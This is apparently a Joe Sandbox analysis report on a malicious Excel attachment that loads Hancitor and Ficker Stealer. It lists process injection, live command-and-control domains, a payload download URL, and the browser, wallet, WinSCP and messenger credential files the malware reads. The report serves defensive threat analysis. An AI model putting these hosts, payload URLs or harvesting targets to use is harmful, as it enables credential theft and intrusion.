Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0034D00F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0034D00F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0034B083 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0034B083
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0034CA9B __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0034CA9B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040115C SetUnhandledExceptionFilter,exit,	7_2_0040115C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00401150 SetUnhandledExceptionFilter,	7_2_00401150
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004013C9 SetUnhandledExceptionFilter,	7_2_004013C9

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pospvisis.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 50.16.239.65 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 8.211.241.0 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: tholeferli.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 54.235.88.121 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 194.147.115.74 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: api.ipify.org
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: s0lom0n.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 95.213.179.67 80	Jump to behavior

Contains functionality to inject threads in other processes

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_00343880 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,CloseHandle,VirtualAlloc,CreateThread,CloseHandle,

5_2_00343880

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\System32\svchost.exe			Jump to behavior

Source: rundll32.exe, 00000004.00000002.2348564592.0000000000720000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349126393.0000000000D30000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000004.00000002.2348564592.0000000000720000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349126393.0000000000D30000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000004.00000002.2348564592.0000000000720000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349126393.0000000000D30000.00000002.00000001.sdmp	Binary or memory string: !Progman

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_00356240 cpuid

5_2_00356240

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,		5_2_00355E13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: CreateMutexA,LoadLibraryA,URLDownloadToFileA,LoadLibraryA,GetComputerNameW,GetSystemInfo,GlobalMemoryStatusEx,GetTimeZoneInformation,GetLocaleInfoW,CreateToolhelp32Snapshot,Process32First,Process32Next,RegOpenKeyExW,RegEnumKeyExW,RegOpenKeyExW,		7_2_00415800

Source: C:\Windows\SysWOW64\svchost.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\Documents VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Application Data VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_0034BDA0 GetSystemTimeAsFileTime,__aulldiv,

5_2_0034BDA0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_0035073E __lock,__invoke_watson,__invoke_watson,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,__invoke_watson,__invoke_watson,

5_2_0035073E

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_00341AA0 GetVersion,wsprintfA,wsprintfA,

5_2_00341AA0

Source: C:\Windows\SysWOW64\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Ficker Stealer

Show sources

Source: Yara match	File source: 00000007.00000002.2132921997.000000000022B000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 2292, type: MEMORY

Tries to harvest and steal Bitcoin Wallet information

Show sources

Source: C:\Windows\SysWOW64\svchost.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Show sources

Source: C:\Windows\SysWOW64\svchost.exe

File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml

Jump to behavior

Remote Access Functionality:

Yara detected Ficker Stealer

Show sources

Source: Yara match	File source: 00000007.00000002.2132921997.000000000022B000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 2292, type: MEMORY

Yara detected Hancitor

Show sources

Source: Yara match	File source: 5.3.rundll32.exe.1d438c.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.1d438c.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.2121584965.00000000001D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2364, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting32	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer13	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API3	Boot or Logon Initialization Scripts	Process Injection212	Deobfuscate/Decode Files or Information1	Credentials in Registry2	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution33	Logon Script (Windows)	Logon Script (Windows)	Scripting32	Credentials In Files1	System Information Discovery46	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information2	NTDS	Security Software Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol123	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	Virtualization/Sandbox Evasion1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Process Discovery3	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading1	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion1	Proc Filesystem	System Network Configuration Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection212	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Rundll321	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0722_2857746751.xls	30%	Virustotal		Browse
0722_2857746751.xls	22%	ReversingLabs	Script.Trojan.Wacatac

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\532.dll	2%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.rundll32.exe.340000.0.unpack	100%	Avira	TR/Hijacker.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
pospvisis.com	13%	Virustotal		Browse
s0lom0n.ru	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://s0lom0n.ru/7hsjfd9w4refsd.exe	3%	Virustotal		Browse
http://s0lom0n.ru/7hsjfd9w4refsd.exe	100%	Avira URL Cloud	malware
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://api.ipify.org0.0.0.0ncdrlebGUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)GUID	0%	Avira URL Cloud	safe
http://aidgodown.ru/8/forum.php	0%	Virustotal		Browse
http://aidgodown.ru/8/forum.php	0%	Avira URL Cloud	safe
http://tholeferli.com/8/forum.php	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://tholeferli.com/8/forum.phponnect	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://relifleappin.ru/8/forum.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
elb097307-934924932.us-east-1.elb.amazonaws.com	54.235.88.121	true	false		high
pospvisis.com	95.213.179.67	true	true	13%, Virustotal, Browse	unknown
s0lom0n.ru	8.211.241.0	true	true	1%, Virustotal, Browse	unknown
tholeferli.com	194.147.115.74	true	true		unknown
api.ipify.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://s0lom0n.ru/7hsjfd9w4refsd.exe	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://aidgodown.ru/8/forum.php	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tholeferli.com/8/forum.php	true	Avira URL Cloud: safe	unknown
http://api.ipify.org/	false		high
http://relifleappin.ru/8/forum.php	true	Avira URL Cloud: safe	unknown
http://api.ipify.org/?format=xml	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000004.00000002.2349091460.0000000001D07000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349407298.0000000002317000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000004.00000002.2348635367.0000000001B20000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000004.00000002.2348635367.0000000001B20000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000004.00000002.2349091460.0000000001D07000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349407298.0000000002317000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	rundll32.exe, 00000005.00000002.2349914383.0000000003050000.00000002.00000001.sdmp	false		high
http://api.ipify.org0.0.0.0ncdrlebGUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)GUID	rundll32.exe, 00000005.00000003.2121584965.00000000001D0000.00000040.00000001.sdmp, rundll32.exe, 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low
http://investor.msn.com/	rundll32.exe, 00000004.00000002.2348635367.0000000001B20000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	false		high
http://www.%s.comPA	rundll32.exe, 00000005.00000002.2349914383.0000000003050000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://tholeferli.com/8/forum.phponnect	rundll32.exe, 00000005.00000002.2348788273.0000000000553000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000004.00000002.2349091460.0000000001D07000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349407298.0000000002317000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000004.00000002.2348635367.0000000001B20000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2349163400.0000000002130000.00000002.00000001.sdmp	false		high
http://api.ipify.org	rundll32.exe	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
54.235.88.121	elb097307-934924932.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
50.16.239.65	unknown	United States	14618	AMAZON-AESUS	true
8.211.241.0	s0lom0n.ru	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
194.147.115.74	tholeferli.com	unknown	52000	MIRHOSTINGRU	true
95.213.179.67	pospvisis.com	Russian Federation	49505	SELECTELRU	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	452590
Start date:	22.07.2021
Start time:	16:09:53
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0722_2857746751.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winXLS@9/7@7/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 11.4% (good quality ratio 11.1%) Quality average: 88.6% Quality standard deviation: 21.1%
HCA Information:	Successful, ratio: 74% Number of executed functions: 29 Number of non-executed functions: 18
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Changed system and user locale, location and keyboard layout to English - United States Changed system and user locale, location and keyboard layout to Japanese - Japan Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryDirectoryFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:10:39	API Interceptor	1x Sleep call for process: imjppdmg.exe modified
16:10:57	API Interceptor	1308x Sleep call for process: rundll32.exe modified
16:10:59	API Interceptor	21x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54.235.88.121	0712_4155631572.doc	Get hash	malicious	Browse	api.ipify.org/?format=xml
	0712_0838282133.doc	Get hash	malicious	Browse	api.ipify.org/
	ter.dll	Get hash	malicious	Browse	api.ipify.org/?format=xml
50.16.239.65	Remittance.html	Get hash	malicious	Browse
8.211.241.0	532.dll	Get hash	malicious	Browse	s0lom0n.ru/7hsjfd9w4refsd.exe
	0722_5065418752.xls	Get hash	malicious	Browse	s0lom0n.ru/7hsjfd9w4refsd.exe
	ter.dll	Get hash	malicious	Browse	min0sra.ru/7t4dfgnmkk7.exe
	ier.dll	Get hash	malicious	Browse	4a5ikol.ru/7jkio8943wk.exe
	0714_2313552213.doc	Get hash	malicious	Browse	4a5ikol.ru/7jkio8943wk.exe
	0714_1242782601.doc	Get hash	malicious	Browse	4a5ikol.ru/7jkio8943wk.exe
	ter.dll	Get hash	malicious	Browse	4a5ikol.ru/7jkio8943wk.exe
	ter.dll	Get hash	malicious	Browse	tryffeltinor.ru/7dfgdrttg6.exe
	0712_2210055252.doc	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	0712_4155631572.doc	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	0712_0838282133.doc	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	ter.dll	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	0712_2520287506.doc	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	0712_5267808768.doc	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	0712_0017864438.doc	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	0712_3830710356.doc	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	2021-07-12-Hancitor-DLL-example-03.dll	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	2021-07-12-Hancitor-DLL-example-05.dll	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	2021-07-12-Hancitor-DLL-example-06.dll	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe
	2021-07-12-Hancitor-DLL-example-04.dll	Get hash	malicious	Browse	pirocont70l.ru/7hjujnfds.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
elb097307-934924932.us-east-1.elb.amazonaws.com	532.dll	Get hash	malicious	Browse	54.225.245.108
	0722_5065418752.xls	Get hash	malicious	Browse	54.243.175.83
	U6i3o7E68j.exe	Get hash	malicious	Browse	50.16.238.218
	9QFzJlxaTl.dll	Get hash	malicious	Browse	50.19.92.227
	Remittance.html	Get hash	malicious	Browse	50.16.239.65
	0706_1643278086845.doc	Get hash	malicious	Browse	54.225.78.40
	123.dll	Get hash	malicious	Browse	50.19.92.227
	DDA9.dll	Get hash	malicious	Browse	23.21.168.151
	4fZX8fJwHn.dll	Get hash	malicious	Browse	54.235.190.106
	Drawing for New Purchase Order.exe	Get hash	malicious	Browse	23.21.224.49
	triage_dropped_file.dll	Get hash	malicious	Browse	54.243.175.83
	265.exe	Get hash	malicious	Browse	54.243.175.83
	7QC4uSmZCg.exe	Get hash	malicious	Browse	54.225.78.40
	ter.dll	Get hash	malicious	Browse	23.21.224.49
	WSn11SBJ55.dll	Get hash	malicious	Browse	50.16.216.118
	aIY9sQv1qW.exe	Get hash	malicious	Browse	23.21.224.49
	ier.dll	Get hash	malicious	Browse	23.21.173.155
	0714_2313552213.doc	Get hash	malicious	Browse	54.225.165.85
	0714_1242782601.doc	Get hash	malicious	Browse	54.225.165.85
	T20009002.exe	Get hash	malicious	Browse	54.225.78.40
pospvisis.com	532.dll	Get hash	malicious	Browse	95.213.179.67
	0722_5065418752.xls	Get hash	malicious	Browse	95.213.179.67
	ter.dll	Get hash	malicious	Browse	95.213.179.67
	ier.dll	Get hash	malicious	Browse	95.213.179.67
	0714_2313552213.doc	Get hash	malicious	Browse	95.213.179.67
	0714_1242782601.doc	Get hash	malicious	Browse	95.213.179.67
	ter.dll	Get hash	malicious	Browse	95.213.179.67
	0712_2210055252.doc	Get hash	malicious	Browse	95.213.179.67
	0712_4155631572.doc	Get hash	malicious	Browse	95.213.179.67
	0712_0838282133.doc	Get hash	malicious	Browse	95.213.179.67
	ter.dll	Get hash	malicious	Browse	95.213.179.67
	0712_2520287506.doc	Get hash	malicious	Browse	95.213.179.67
	0712_5267808768.doc	Get hash	malicious	Browse	95.213.179.67
	0712_0017864438.doc	Get hash	malicious	Browse	95.213.179.67
	0712_3830710356.doc	Get hash	malicious	Browse	95.213.179.67
	2021-07-12-Hancitor-DLL-example-03.dll	Get hash	malicious	Browse	95.213.179.67
	2021-07-12-Hancitor-DLL-example-05.dll	Get hash	malicious	Browse	95.213.179.67
	2021-07-12-Hancitor-DLL-example-04.dll	Get hash	malicious	Browse	95.213.179.67
	0712_2172200614.doc	Get hash	malicious	Browse	95.213.179.67
	0712_3006077542.doc	Get hash	malicious	Browse	95.213.179.67

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AMAZON-AESUS	532.dll	Get hash	malicious	Browse	54.225.245.108
	0722_5065418752.xls	Get hash	malicious	Browse	54.225.245.108
	U6i3o7E68j.exe	Get hash	malicious	Browse	50.16.238.218
	9QFzJlxaTl.dll	Get hash	malicious	Browse	50.19.92.227
	ovLjmo5UoE	Get hash	malicious	Browse	54.61.128.52
	o3ZUDIEL1v	Get hash	malicious	Browse	54.140.119.74
	D1dU3jQ1II	Get hash	malicious	Browse	34.207.187.69
	wREFu91LXZ.exe	Get hash	malicious	Browse	52.5.43.61
	br8oLpYtwO.exe	Get hash	malicious	Browse	54.237.66.139
	uiza7XkNGQPRQvb.exe	Get hash	malicious	Browse	3.223.115.185
	A7X93JRxhp	Get hash	malicious	Browse	54.146.206.59
	8ZJ0cPowTy	Get hash	malicious	Browse	54.29.51.121
	XuQRPW44hi	Get hash	malicious	Browse	52.44.113.28
	5qpsqg7U0G	Get hash	malicious	Browse	54.0.244.90
	Remittance.html	Get hash	malicious	Browse	50.16.239.65
	ZlvFNj.dll	Get hash	malicious	Browse	3.223.192.20
	bPAMfuy9oa	Get hash	malicious	Browse	107.23.89.187
	U4r9W64doy	Get hash	malicious	Browse	54.61.104.90
	C4PozjQdGE	Get hash	malicious	Browse	54.131.116.216
	kb5IbEJU8c	Get hash	malicious	Browse	54.2.185.151
AMAZON-AESUS	532.dll	Get hash	malicious	Browse	54.225.245.108
	0722_5065418752.xls	Get hash	malicious	Browse	54.225.245.108
	U6i3o7E68j.exe	Get hash	malicious	Browse	50.16.238.218
	9QFzJlxaTl.dll	Get hash	malicious	Browse	50.19.92.227
	ovLjmo5UoE	Get hash	malicious	Browse	54.61.128.52
	o3ZUDIEL1v	Get hash	malicious	Browse	54.140.119.74
	D1dU3jQ1II	Get hash	malicious	Browse	34.207.187.69
	wREFu91LXZ.exe	Get hash	malicious	Browse	52.5.43.61
	br8oLpYtwO.exe	Get hash	malicious	Browse	54.237.66.139
	uiza7XkNGQPRQvb.exe	Get hash	malicious	Browse	3.223.115.185
	A7X93JRxhp	Get hash	malicious	Browse	54.146.206.59
	8ZJ0cPowTy	Get hash	malicious	Browse	54.29.51.121
	XuQRPW44hi	Get hash	malicious	Browse	52.44.113.28
	5qpsqg7U0G	Get hash	malicious	Browse	54.0.244.90
	Remittance.html	Get hash	malicious	Browse	50.16.239.65
	ZlvFNj.dll	Get hash	malicious	Browse	3.223.192.20
	bPAMfuy9oa	Get hash	malicious	Browse	107.23.89.187
	U4r9W64doy	Get hash	malicious	Browse	54.61.104.90
	C4PozjQdGE	Get hash	malicious	Browse	54.131.116.216
	kb5IbEJU8c	Get hash	malicious	Browse	54.2.185.151
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	532.dll	Get hash	malicious	Browse	8.211.241.0
	0722_5065418752.xls	Get hash	malicious	Browse	8.211.241.0
	pax. 415-12.07.2021.js	Get hash	malicious	Browse	47.254.174.190
	P58w6OezJY.exe	Get hash	malicious	Browse	8.208.92.235
	rxfttQnoO5	Get hash	malicious	Browse	47.75.21.31
	TFG18FA4eD	Get hash	malicious	Browse	8.213.213.241
	Filmora-Wondershare-Installer.exe	Get hash	malicious	Browse	47.91.67.36
	ViJoy.exe	Get hash	malicious	Browse	47.91.67.36
	wy2BysBF1U	Get hash	malicious	Browse	47.91.26.153
	leyw73RE9o	Get hash	malicious	Browse	47.252.147.45
	NzQGtyZFe8	Get hash	malicious	Browse	47.255.177.113
	XfKsLIPLUu	Get hash	malicious	Browse	8.211.161.2
	AT9n7Bk0yE	Get hash	malicious	Browse	47.251.12.169
	jvD4W5Csk1.exe	Get hash	malicious	Browse	8.209.69.242
	Cc8M6hqDMe.exe	Get hash	malicious	Browse	47.254.175.174
	e19e0e7f8871e7acf07a37b277b5aaf2aa125f28ee116.exe	Get hash	malicious	Browse	8.209.64.72
